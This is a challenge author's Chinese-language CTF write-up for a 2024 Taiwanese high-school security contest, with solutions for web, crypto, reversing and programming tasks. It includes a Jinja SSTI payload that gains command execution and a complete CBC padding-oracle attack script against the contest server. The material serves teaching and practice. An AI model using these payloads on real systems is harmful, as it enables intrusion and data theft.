# THJCC CTF 2024 Write Ups for my challenges 我在2024台灣高中生聯合資安競賽中出的題目解答 大多都是新手導向的題目,希望大家覺得好玩 > < ## Web ### Blog 從登入頁面看到奇怪的留言 iloveshark ![image](https://hackmd.io/_uploads/By2bwgaWA.png) 點入login後以 admin/iloveshark登入 ![image](https://hackmd.io/_uploads/r1yXPlaWR.png) 取得flag ![image](https://hackmd.io/_uploads/ByGBDepZC.png) ### Empty Flag (1/2) 檢查cookie發現第一段flag ![image](https://hackmd.io/_uploads/HJ2sPgT-R.png) Flag (2/2) view source後發現隱藏路徑:`/Wh4leE4tSh4rk.html` ![image](https://hackmd.io/_uploads/BJKCPlTWA.png) 連進去 ![image](https://hackmd.io/_uploads/r1sedeTW0.png) ### Simplify 以提供的 test/test1234 登入後觀察cookie ![image](https://hackmd.io/_uploads/S1vALbab0.png) 將它改成admin ![image](https://hackmd.io/_uploads/Bk4gw-aZC.png) 成功繞過!!! ![image](https://hackmd.io/_uploads/Sk_XwZ6WC.png) 從原始碼找到提示:Render SSTI 從網路上挖payload RCE (O) ``` {{config.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}} ``` ![image](https://hackmd.io/_uploads/H1Vtw-aW0.png) ## Crypto ### Baby RSA 小e攻擊,直接`gmpy2.iroot(c, 3)`就好ㄌ ### iRSA 原始碼裡面有提供基本的複數運算,可以不用先會沒關係~ 利用$(p+2qi)*(q+2pi)=-3pq+(2p^2+2q^2)i$可以解出p, q,最後依次做基本的RSA運算就好。 其中有一個$N$可以查factor db,~~我特別丟上去的~~ ## REV ### Baby C babyc.c ```c #include"stdio.h" #include"stdlib.h" #include"string.h" int main(){ char c[50]; int a[50]={44, 48, 50, 59, 59, 3, 16, 12, 12, 8, 11, 66, 87, 87, 15, 15, 15, 86, 1, 23, 13, 12, 13, 26, 29, 86, 27, 23, 21, 87, 15, 25, 12, 27, 16, 71, 14, 69, 75, 32, 59, 46, 53, 75, 63, 75, 8, 22, 11, 5}; scanf("%s", c); for(int i=0;i<50;i++){ if (((int)c[i]^120)!=a[i]){ printf("Password Incorrect!!!\n"); return 0; } } printf("Password Correct!!!\n"); return 0; } ``` xor都給ㄌ,直接炸回去 Solve Script ```py a=[44, 48, 50, 59, 59, 3, 16, 12, 12, 8, 11, 66, 87, 87, 15, 15, 15, 86, 1, 23, 13, 12, 13, 26, 29, 86, 27, 23, 21, 87, 15, 25, 12, 27, 16, 71, 14, 69, 75, 32, 59, 46, 53, 75, 63, 75, 8, 22, 11, 5] flag='' for i in a: flag+=chr(i^120) print(flag) ``` ![image](https://hackmd.io/_uploads/Hynfyz6-A.png) ## PWN ### NPSC ~~最最最有趣的競程題~~: 解法複雜度:$O(N)$ 先用一個ans=0的初始變數維護最大值,從第一個數字開始掃過去,如果手上的數字比下一個大就繼續把他吃掉,不然就跟ans比誰大,然後歸零從下一個數字開始吃。 solve script: ```py from pwn import * r=remote('23.146.248.36', 30003) #r=remote('0.0.0.0', 29999) s=r.recvlines(3) print(s) def judge(a): cnt=0 ans=0 for i in range(len(a)): cnt+=a[i] if i+1<len(a) and cnt<a[i+1]: ans=max(cnt, ans) cnt=0 ans=max(ans, cnt) return ans for i in range(3): s=r.recvline() print(s) for j in range(10): s=r.recvline() print(s) exec('a='+str(s)[2:-3]) # print(a) r.sendline(str(judge(a)).encode()) s=r.recvline() print(s) r.interactive() ``` ## INSANE ### Baby AES 我在這次比賽出最用心的一個題目,高中正式組有一個人解出來我很開心 題目腳本: BabyAES.py ```py from Crypto.Cipher import AES import os import hmac flag=b'THJCC{u_just_break_my_MBC_C1ph3r_mode,_w3ll_don3!!!}' key=os.urandom(16) IV=os.urandom(16) ecb = AES.new(key, AES.MODE_ECB) cbc = AES.new(key, AES.MODE_CBC, IV) passphrase=b'eating_whale...' def pad(data): p = (16 - len(data) % 16) % 16 return data + bytes([p]) * p def chk_pad(data): if len(data)==16: print("Padding Correct") elif not all([x == data[-1] for x in data[-data[-1]:]]): print("Padding Error") else: print("Padding Correct") def sign(x): x=pad(x) return hmac.new(key, x, 'sha256').hexdigest() def xor(a, b): return bytes([x ^ y for x, y in zip(a, b)]) def MBC(x): x=pad(x) iv=IV final=b'' for i in range(0, len(x), 16): cur=ecb.encrypt(x[i:i+16]) final+=xor(iv, cur) iv=x[i:i+16] return final print("Welcome to my MBC server") print("It has more security than ECB I think...") print("Login first, your message should all be hex encoded!") isadmin=False while isadmin==False: print("We have two functions:") print("1.Verify your identity:") print("2.Sign a message") option=int(input("Option(1/2):")) if option!=1 and option !=2: print("Error, your choise should be 1 or 2") elif option==1: x=input("Your signed key(hex encoded):") if sign(passphrase)==x: print("Verified!!!") isadmin=True else: print("Failed") else: x=input("Sign a message(hex encoded):") if bytes.fromhex(x)==passphrase: print("Bad Hacker :(") else: print(sign(bytes.fromhex(x))) print("You have two options") print("This is the encrypted flag(CBC MODE): ") # I know that CBC mode is mush more safer than my MBC mode. print(cbc.encrypt(pad(flag)).hex()) cbc = AES.new(key, AES.MODE_CBC, IV) while True: print("Option 1: MBC MODE Encrypter") print("Option 2: CBC MODE Pad Checker") option=int(input("Your option(1/2):")) if option == 1: x=input("Encrypt a message(hex encoded):") print(MBC(bytes.fromhex(x)).hex()) elif option == 2: x=input("Check a padding(hex encoded):") chk_pad(cbc.decrypt(pad(bytes.fromhex(x)))) else: print("Invalid method...") ``` 觀察一下登入,會發現pad在長度為16的時候不會做任何事,而拿去hash的東西會是`b'eating_whale...\x01'`但我只有過濾`b'eating_whale...'`不能input,所以改成`b'eating_whale...\x01'`一樣能拿到當次的hash值 再來,我自己定義的MBC Cipher MODE有被bit flipping的弱點,進而可以取得IV: ```py r.sendline(b'0'*64) leak=bytes.fromhex(r.recvuntil(b'\n')[:-1].decode()) IV=xor(leak[0:16], leak[16:32]) ``` 全部塞`b'\x00'`然後加密結果前16 bytes跟後16bytes互相xor就是IV,不難理解,自己可以想想看。 最後一步就是利用取得的IV 搭配 CBC Padding Oracle攻擊。 Solve Script: ```py from pwn import * from tqdm import * r=remote('23.146.248.36', 20003) def oracle(mess): s=r.recvlines(2) s=r.recvuntil(b':') r.sendline(b'2') s=r.recvuntil(b':') r.sendline(mess.hex().encode()) return b'Correct' in r.recvline() s=r.recvlines(6) print(s) s=r.recvuntil(b':') r.sendline(b'2') s=r.recvuntil(b':') r.sendline(b'656174696e675f7768616c652e2e2e01') sign=r.recvline()[:-1] s=r.recvlines(3) s=r.recvuntil(b':') r.sendline(b'1') s=r.recvuntil(b':') r.sendline(sign) s=r.recvlines(3) enc_flag=bytes.fromhex(r.recvline()[:-1].decode()) s=r.recvlines(2) s=r.recvuntil(b':') r.sendline(b'1') s=r.recvuntil(b':') r.sendline(b'0'*64) leak=bytes.fromhex(r.recvuntil(b'\n')[:-1].decode()) IV=xor(leak[0:16], leak[16:32]) flag=IV+enc_flag ans=b'' cur=b'' #r.interactive() for i in trange(0, len(flag)-16, 16): iv, mess=flag[i:i+16], flag[i+16:i+32] for j in trange(16): now=15-j for k in range(256): if oracle(iv[:now]+bytes([k])+xor(cur, iv[now+1:], chr(16-now).encode()*(15-now))+mess): if now==15: if k!=iv[15]: cur=xor(k, iv[15], 1)+cur break else: cur=xor(k, iv[now], (16-now))+cur break ans+=cur print(ans) cur=b'' ``` ### PELL 純純的數學題(吸) pell.py ```py from Crypto.Util.number import * from Crypto.Cipher import AES from collections import namedtuple import os # define some stuffs about point Point=namedtuple("Point", "x y") def Point_Addition(P, Q): X=(P.x*Q.x+d*P.y*Q.y)%p Y=(Q.x*P.y+P.x*Q.y)%p return Point(X, Y) def Point_Power(P, x): Q=Point(1, 0) while(x>0): if x%2==1: Q=Point_Addition(Q, P) x>>=1 P=Point_Addition(P, P) return Q # encryption key=os.urandom(16) m=bytes_to_long(key) cipher = AES.new(key, AES.MODE_ECB) flag=b'THJCC{FAKE_FLAG}' p=22954440473064692367638020521915192869513867655951252438024058919141 d=1008016 G=Point(1997945712322124204937815965902875623145811005630602636960422269513, 252985428778294107560116770944951015145970075431259613311231816) C=Point_Power(G, m) print(f"{C=}\n{p=}\n{d=}") secret=bytes_to_long(cipher.encrypt(flag)) print(f"{secret=}") ``` 可以發現對於點$P(x, y)$,存在對應$P(x, y) \rightarrow x+y*\sqrt d$把點變成整數且仍然滿足題目定義的點運算`Point_Addition`性質(自己拿筆算,驗證看看!!!)。 做完這步驟就是標準的整數DLP問題,利用Pohlig-Hellman attack就可以實作(網路上有script) Solve script: ```py from sympy.polys.galoistools import gf_crt from sympy.polys.domains import ZZ import gmpy2 import random # sage version ''' def solve_discrete_log(p, g, A): F = GF(p) g, A = F(g), F(A) a = discrete_log(A,g) return a ''' def Pohlig_Hellman(g, h, p): p_1 = p - 1 d, factors = 2, [] while p_1!=1: while (p_1 % d) == 0: factors.append(d) p_1 //= d d += 1 factors = [[i, factors.count(i)] for i in set(factors)] x = [] for factor in factors: print("[x]", factor) c_i_list = [] for i in range(factor[1]): if i != 0: beta = (beta * pow(g, -(c_i_list[-1] * (factor[0] ** (i - 1))), p)) % p else: beta = h e1 = pow(beta, (p-1) // (factor[0] ** (i + 1)), p) e2 = pow(g, (p-1) // factor[0], p) for c_i in (range(factor[0])): if pow(e2, c_i, p) == e1: c_i_list.append(c_i) break x.append(c_i_list) system = [] for i, factor in enumerate(factors): res = 0 for j, x_j in enumerate(x[i]): res += x_j * (factor[0] ** j) res = res % (factor[0] ** factor[1]) system.append(res) factors = [factors[i][0] ** factors[i][1] for i in range(len(factors))] result = gf_crt(system, factors, ZZ) return result xg=2251943082815531488928173203931606442352364961363587288724899012777 xh=3620329099657742062187693451873462737625932034695683084237035127743 xp=22954440473064692367638020521915192869513867655951252438024058919141 print(Pohlig_Hellman(xg, xh, xp)) ```